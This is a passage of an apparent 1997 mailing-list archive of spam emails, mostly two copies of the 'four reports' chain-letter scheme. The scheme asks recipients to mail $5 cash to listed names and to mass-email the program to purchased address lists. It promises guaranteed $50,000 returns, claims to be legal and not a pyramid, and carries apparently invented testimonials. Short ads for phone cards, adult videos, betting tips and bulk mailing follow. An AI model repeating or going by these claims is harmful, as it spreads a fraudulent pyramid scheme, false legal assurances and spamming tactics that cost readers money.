 We at Erris Mail Order Marketing Business, have a method of raising
 capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
 use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
 "Bull", please read the program carefully.
 
 This is not a chain letter, but a perfectly legal money making
 opportunity.  Basically, this is what we do:  As with all multi-level
 business, we build our business by recruiting new partners and selling
 our products.  Every state in the USA allows you to recruit new multi-
 level business partners, and we offer a product for EVERY dollar sent.
 YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
 involved in personal selling.  You do it privately in your own home,
 store or office.
 
 This is the GREATEST Multi-level Mail Order Marketing anywhere:
 
 Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
            by ordering the REPORT from each of the four 4 names listed
            on the next page.  For each REPORT, send $5 CASH and a SELF-
            ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
            person listed for the SPECIFIC REPORT.  International orders
            should also include $1 extra for postage.  In lieu of sending
            an self addressed, stamped envelope, you may simply include
your 
            email address if you wish to receive your report by email.  
            It is essential that you specify the NAME and NUMBER of the
report 
            requested to the person you are ordering from.  You will need
ALL FOUR
            4 REPORTS because you will be REPRINTING and RESELLING them.
            DO NOT alter the names or sequence other than what the
            instructions say.  IMPORTANT:  Always provide same-day
            service on all orders.
 
 Step (2)   Replace  the  name  and  address  under  REPORT #1  with
            yours,  moving the one that was there down to REPORT #2.
            Drop  the  name and address under REPORT #2 to REPORT #3,
            moving the one that was there to REPORT #4.  The name and
            address that was under REPORT #4 is dropped from the list
            and this party  is  no doubt on the way to the bank.  When
            doing   this,   make   certain   you  type  the  names  and
            addresses ACCURATELY!  DO NOT MIX UP MOVING
            PRODUCT/REPORT POSITIONS!!!
 
 Step (3)   Having made the required changes in the NAME list, save it
            as a text (.txt) file in it's own directory to be used with
            whatever email program you like.  Again, REPORT #3 will tell
            you the best methods of bulk emailing and acquiring email
            lists.
 
 Step (4)   Email a copy of the entire program (all of this is very
            important) to everyone whose address you can get your hands
            on. Start with friends and relatives since you can encourage
            them to take  advantage of this  fabulous  money-making
            opportunity.  That's what I did.  And they love me now, more
            than ever.  Then, email to anyone and everyone!  Use your
            imagination!  You can get email addresses from companies on
            the Internet who specialize in email mailing lists.  These
            are very cheap, 100,000 addresses for around $35.00.
 
 IMPORTANT:  You won't get a good response if you use an old list, so
 always request a FRESH, NEW list. You will find out where to purchase
 these lists when you order the four 4 REPORTS.
 
 ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
 REQUIRED REPORTS
 
 ***Order each REPORT by NUMBER and NAME***
 
 ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
 AND $5 CASH FOR EACH ORDER REQUESTING THE
 SPECIFIC REPORT BY NAME AND NUMBER
 
 ________________________________________________________
 REPORT #1
 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
 
 ORDER REPORT #1 FROM:
 
 Fredric Olsson
 Lillgårda Hagestad
 276 45 Löderup
 SWEDEN
 _______________________________________________________
 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
 
 ORDER REPORT #2 FROM:
 
 Johansen Inc.
 Björkängsvägen 26
 504 78 Sandhult
 SWEDEN
 ________________________________________________________
 REPORT #3
 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM:
 
 A. Valdus 
 Trappv 2
 517 37 Bollebygd
 SWEDEN
 ________________________________________________________
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:

 MAS Enterprises
 509 East Perry Street
 Savannah, Georgia 31401
 
 ________________________________________________________
 
 CONCLUSION
 
 I am enjoying my fortune that I made as I send out this program, hoping
 to give you a chance
 to make this kind of money.  You too, will be making money in 20 to 90
 days, if you follow the
 SIMPLE STEPS outlined in this mailing.
 
 To be financially independent is to be FREE.  Free to make financial
 decisions as never before.  Go into business, get into investments,
 retire or take a vacation.  No longer will a lack of money hold you
 back.
 
 However, very few people reach financial independence, because when
 opportunity knocks, they choose to ignore it.  It is much easier to say
 "NO" than "YES", and this is the question that you must answer.  Will
 YOU ignore this amazing opportunity or will you take advantage of it?
 If you do nothing, you have indeed missed something and nothing will
 change.  Please re-read this material, this is a special opportunity.
 If you have any questions, please feel free to write to the sender of
 this information.  You will get a prompt and informative reply.
 
 My method is simple.  I sell thousands of people a product for $5 that
 costs me pennies to produce and email.  I should also point out that
 this program is legal and everyone who participates WILL make money.
 This is not a chain letter or pyramid scam.  At times you have probably
 received chain letters, asking you to send money, on faith, but getting
 NOTHING in return, NO product what-so-ever!  Not only are chain letters
 illegal, but the risk of someone breaking the chain makes them quite
 unattractive.
 
 You are offering a legitimate product to your people.  They are
 obtaining information that will not only help them with this business 
 venture but others as well.  
 They also are obtaining the rights to reproduce the reports. After they
 purchase the product from you, they reproduce more and resell them.
 It's simple free enterprise.  As you learned from the enclosed material,
 the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
 information contained in these REPORTS will not only help you in making
 your participation in this program more rewarding, but will be useful
 to you in any other business decisions you make in the years ahead.
 You are also buying the rights to reprint all of the REPORTS, which
 will be ordered from you by those to whom you mail this program.  The
 concise one and two page REPORTS you will be buying can easily be
 reproduced at a local copy center for a cost off about 3 cents a copy.
 Best wishes with the program and Good Luck!
 
 
 ------------------------------------Testimonials:--------------------------
---------
 
 "I  had  received  this program before.  I  threw  it away, but later
 wondered if I shouldn't have given it a try.  Of course, I had no idea
 who to contact to get a copy, so I had to wait until I was emailed
 another copy of the program.  Eleven months passed, then it came.  I
 DIDN'T throw this one away.  I made $41,000 on the first try."
 
                          Dawn W., Evansville, IN
 
 "My late father always told me, 'remember, Alan, there is no free lunch
 in life.  You get out of life what you put into it.'  Through trial and
 error and a somewhat slow frustrating start, I finally figured it out.
 The program works very well, I just had to find the right target group
 of people to email it to.  So far this year, I have made over $63,000
 using this program.  I know my dad would have been very proud of me."
 
                          Alan B., Philadelphia, PA
 
 "Not being the gambling type, it took me several weeks to make up my
 mind to participate in this program.  But conservative as I am, I
 decided that the initial investment was so little that there was no way
 that I could not get enough orders to at least get my money back.  BOY,
 was I ever surprised when I found my medium sized post office box
 crammed with orders!  I will make more money this year than any ten
 years of my life before."
 
                          Mary Riceland, Lansing, MI
 
 ---------------------------------------------------------------------------

 
 TIPS FOR SUCCESS
 
 Send for your four 4 REPORTS immediately so you will have them when the
 orders start coming in.  When you receive a $5 order, you MUST send out
 the product/service to comply with US Postal and Lottery laws.  Title
 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
 SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."
 
 WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
 1.   Name your new company. You can use your own name if you desire.
 
 2.   Get a post office box (preferred).
 
 3.   Edit the names and addresses on the program. You must remember,
         your name and address go next to REPORT #1 and the others all
         move down one, with the fourth one being bumped OFF the list.
 
 4.   Obtain as many email addresses as possible to send until you
         receive the information on mailing list companies in REPORT #3.
         (It is a good idea to purchase bulk email lists, which generally
         cost around $35.00 for 100,000 names.  Or you can start out the
         way I did, simply mailing out a few hundred to acquaintances
         and people who post to newsgroups.)
 
 5.   Decide on the number of programs you intend to send out.  The
         more you send, and the quicker you send them, the more money
         you will make.
 
 6.   After mailing the programs, get ready to fill the orders.
 
 7.   Copy the four 4 REPORTS so you are able to sent them out as
         soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
         SAME-DAY SERVICE ON ORDERS YOU RECEIVE!
 
 8.   Make certain the letter and reports are neat and legible.
 
 ---------------------------------------------------------------------------









---------------------------------
 
 YOUR GUARANTEE
 
 The check point which GUARANTEES your success is simply this:  you must
 receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
 within two weeks, email out more programs until you do.  Then a couple
 of weeks later you should receive at least 100 orders for REPORT #2, if
 you don't, send out more programs until you do.  Once you have received
 100 or more orders for REPORT #2, (take a deep breath) you can sit back
 and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
 Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
 participated in the program and reached the above GUARANTEES-ALL have
 reached their $50,000 goal.  Also, remember, every time your name is
 moved down the list you are in front of a different REPORT, so you can
 keep track of your program by knowing what people are ordering from you.
 IT'S THAT EASY, REALLY, IT IS!!!
 
 REMEMBER:
 
 "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
 "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
 SEARCH FOR IT FOR THE REST OF YOUR LIFE."
 
----------------------------------------------------------------------------

SVENSKAR, LÄS!!!

Skicka 40 SKR (2x20) istället för 5dollarsedlar för enkelhetens skull. 
Vem vill gå och växla 10000 femdollar sedlar???
Glöm inte e-mail adressen i brevet med sedlarna så du får dina reports!
Ha ett bra liv!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blackjack@hotmail.com
Date: Tue, 19 Aug 1997 00:20:35 -0700 (PDT)
To: blackjack@hotmail.com
Subject: Your newsgroup post ...
Message-ID: <199708190717.AAA24426@lioness.95net.com>
MIME-Version: 1.0
Content-Type: text/plain


Saw your post in the newsgroups.

Check this out!

http://www.geocities.com/Eureka/Plaza/1022







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 61386135@usnational243.com
Date: Tue, 19 Aug 1997 04:14:02 -0700 (PDT)
To: webowners22@aol.com
Subject: FREE $10 PHONE CARD - - NO CATCH ! !
Message-ID: <199708179999@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



             FREE $10 PHONE CARD

                       NO CATCH

                 BRAND NEW ! ! !

      USA ONLY --- Can Be Used To Call 
             Anywhere In The Country

     To Receive one please send a #10

 Long Self Addressed Stamped Envelope to:


FREE PHONE CARD
BOX 745
BLOOMINGTON, IL  61702



Limit 1 per household.  Tell your friends though ! !





































From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 00896450@hyperway.com
Date: Wed, 20 Aug 1997 05:30:53 -0700 (PDT)
To: pete@morenet.net
Subject: ADULT VIDEOS
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Explicit straight, gay and lesbian videos.

http://www.espdirect.com/adult/

Absolutely discrete shipping within 24 hours.

Visit our Web Site now...
Adults only... You must be 18 years or over to visit.

Click Here

*********************************************************************

To be removed from our mailing lists, please send any message
to: simrem@answerme.com
Thank you

*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 03169083@c-corp.net
Date: Tue, 19 Aug 1997 19:04:19 -0700 (PDT)
To: mraction@c-corp.net
Subject: DO YOU WAGER/ GAMBLE ON SPORTS ???
Message-ID: <567vfuy5656mhh.anti.spamers.r.totalitarian.communists@winners.cam>
MIME-Version: 1.0
Content-Type: text/plain




if you are not a sports bettor ... just delete this message


DO YOU WAGER ON SPORTS ??


If you WAGER on Sporting events MR ACTION would like to send you a free pick everyday!!!

That's right!!!  EVERYDAY During the next four months MR ACTION will email you information on a 

key game being played that night.

FOOTBALL usually, sometimes BASEBALL, and sometimes BASKETBALL.

MR ACTION IS CORRECT ABOUT 70 % of the time!!!!

HOW DO YOU GET THESE SELECTIONS ???

EASY..... JUST HIT REPLY TO THIS LETTER AND PUT SUBSCRIBE IN THE MESSAGE BODY!!

THAT'S IT!!!! .... OR  CLICK HERE

NO MONEY TO SPEND .... NO NAME OR PHONE NUMBER REQUIRED .... NO CREDIT CARD ASKED FOR!!!!

IF YOU WAGER ON SPORTS I WANT TO HELP YOU WIN BIG $$$$


>>>> JUST REPLY TO THIS EMAIL AND SAY "SUBSCRIBE" ... OR ...

  CLICK HERE









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rlavelle7@aol.com
Date: Tue, 19 Aug 1997 17:58:19 -0700 (PDT)
To: Rlavelle7@aol.com
Subject: THE   UNIVERSE
Message-ID: <199708200057.UAA28634@andrew.cais.com>
MIME-Version: 1.0
Content-Type: text/plain


                                                   THE   UNIVERSE
           2
 E=MC   The equation for the atom bomb. It says that matter and energy are the
 same thing. So then what is that? Matter, look at a brick. Its in a three dimensional
 form. Its made of electrons, protons and neutrons (atoms) and they are moving so
 the brick is moving. Energy,sunlight. Its in a three dimensional form. It comes to us
 from the sun therefore it is moving. 3D and moving Both matter and energy are 3D
 and moving. I outproduce Einstein. We already know all matter has gravity. The
 bending of light shows that energy has gravity also. So matter and energy are
 3D moving with gravity. The universe is made of matter, energy, time and space.
 That just stated is the matter and energy part. Time and space. Take everything
 in the universe and stop it. Does time progress? No. Therefore time is the motion
 and the understanding of all the motion is the understanding of all of time.
 Space, it ends. Space does not go on forever. Space is in a three dimensional
 form. It moves but does not have gravity. Space moves like this.  O  /\  +  \/  O
 And that is the understsanding of all of time.   
    O   This is what was first in the beginning.
   /\   This is the old kings and queens.
    +   This is democracy.
   \/   This is socialism.
   O   This is when the Lord Jesue Christ returns.
 And that is the understanding of the universe. Glory be to the Father the Son
 and the Holy Ghost. Revelation chapter 10 & 11; 15 - 19.  It is very important
 the people receive this information. You may tell someone about this.
                                                                     Thank You
                                                                   Robert Lavelle





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: helledge@oilfieldtrash.com
Date: Wed, 20 Aug 1997 00:36:06 -0700 (PDT)
To: helledge@oilfieldtrash.com
Subject: Don't call if you are already rich!
Message-ID: <199708200735.AAA05533@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////

If you are already rich, don't call this toll free number.          1-800-811-2141
                                                                                              CODE 44393




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MEGA Communications <gunterw@earthlink.net>
Date: Wed, 20 Aug 1997 06:10:09 -0700 (PDT)
To: cengstro@ford.com
Subject: Hello
Message-ID: <3.0.32.19970819230317.0068d10c@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello!

Personal Note From Sender:  You've probably received this opportunity
by email several times by different people in the past twelve months. Do you know why? 
Because people everywhere are finding that it REALLY WORKS! Try it! I'm not kidding! 


              **** FREE $400 Bulk e-mail Software ****
              **** FREE $200 Check by fax, email, phone Software ****
              **** FREE Business ****

Receive Your Bulk e-mail and Checking Software the same day you receive
Report #1   I will not ask you for any MONEY for the Software.
Your Business is about to EXPLODE
You Don't want toTrash This one !!!!!
Read This Twice !!!!!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
Please accept my apology if this was sent to you in error!

Dear friend,

The following income opportunity is one you may be interested in taking a
look at.  It can be started with VERY MINIMAL outlay and the income return
is TREMENDOUS!

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen financial
problems.  I owed my family, friends, and creditors over $35,000.  The
economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my experience
in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes.  Here
was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and
paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
"WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need any
money for printing to send out the program, only the cost to fulfill my
orders.  I am telling you like it is, I hope it doesn't turn you off,
but I promised myself that I would not "rip-off" anyone, no matter how
much money it cost me! 

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read
the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15
TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making
$50,000 in 20 to 90 days was done.  By January 30th, I had received
196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.
ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of
my emailing of 10,000, I received $58,000 with more coming in every
day.

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
up on a kitchen table? IT'S AWESOME!

"RETIRED CHIEF OF POLICE"

"As a retired Chief Of Police, I would not get involved in anything 
that was not completely legitimate.   I have made thousands, thanks to
this wonderful program."

                                          Ken Kennedy, CA

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
in life.  You get out of life what you put into it.'  Through trial and
error and a somewhat slow frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to email it to.  So far this year, I have made over $63,000
using this program.  I know my dad would have been very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing
the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand experience.
There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
me, many people will do that and more!  By the way, your cost to participate
in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS:

We at FIKA International Limited, have a method of raising capital that 
REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.


This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage.  It is essential
           that you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
Please, no checks, cash only !
________________________________________________________
REPORT #1

"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
******FREE $400 bulk email program******
******FREE check by fax, email & phone program******
******FREE BUSINESS******
ORDER REPORT #1 FROM:

MEGA Communications
10078 A Arrow Route Suite 173
Rancho Cucamonga,  CA 91730
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

FIKA International Limited
P.O. Box 39095
Washinton,  D.C. 20016-9098
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Global Innovations
P.O. Box 3191
Salem, Oregon 97302
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

One Big Family
560 E. Rowland St. Suite J-1
Covina, CA 91723
______________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

Very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!


TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.      Name your new company. You can use your own name if you desire.

2.      Get a post office box (preferred).

3.      Edit the names and addresses on the program. You must remember,
         your name and address go next to REPORT #1 and the others all
         move down one, with the fourth one being bumped OFF the list.

4.      Obtain as many email addresses as possible to send until you
         receive the information on mailing list companies in REPORT #3.

5.      Decide on the number of programs you intend to send out.  The
         more you send, and the quicker you send them, the more money
         you will make.

6.      After mailing the programs, get ready to fill the orders.

7.      Copy the four 4 REPORTS so you are able to send them out as
         soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
         SAME-DAY SERVICE ON ORDERS YOU RECEIVE!


YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!



"I seem to have been only like a boy playing on the seashore, and diverting
myself in now and then finding a smoother pebble or a prettier shell than
ordinary, whilst the great ocean of truth lay all undiscovered before me."  
                                                                        - Sir
Isaac Newton
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Important.News@mail.impulse.net
Date: Wed, 20 Aug 1997 14:28:44 -0700 (PDT)
To: $$@mail.impulse.net, want@mail.impulse.net, some..?@mail.impulse.net
Subject: 24 Hour CASH Grab is on......$$$$
Message-ID: <199708201949.MAA10483@red.impulse.net>
MIME-Version: 1.0
Content-Type: text/plain


$$$  24 Hour CASH grab is on !! ...   $$$

Want to fill your mailbox with CASH and orders right away ?

You can. Just take advantage of this once in a lifetime CASH grab by
stuffing your ad in 1 million emailboxes!

That's 1,000,000 !

Cash, money orders and checks could start filling your mailbox in a
few days! The profits and results can be mind boggling. 

Bargain Cellar does it again ! 

Our techniques have been so successful that they are being
mimicked by others in their ad pitches. 

However, NO ONE has the targeted primary service lists that we do. 

If you're looking for a way to succeed NOW, the following chance of a
lifetime is for you..

You've seen what other services charge-  many charge 10 times this
amount and more. Retail email ads that make it tough for you to get a
running start on the way to success.

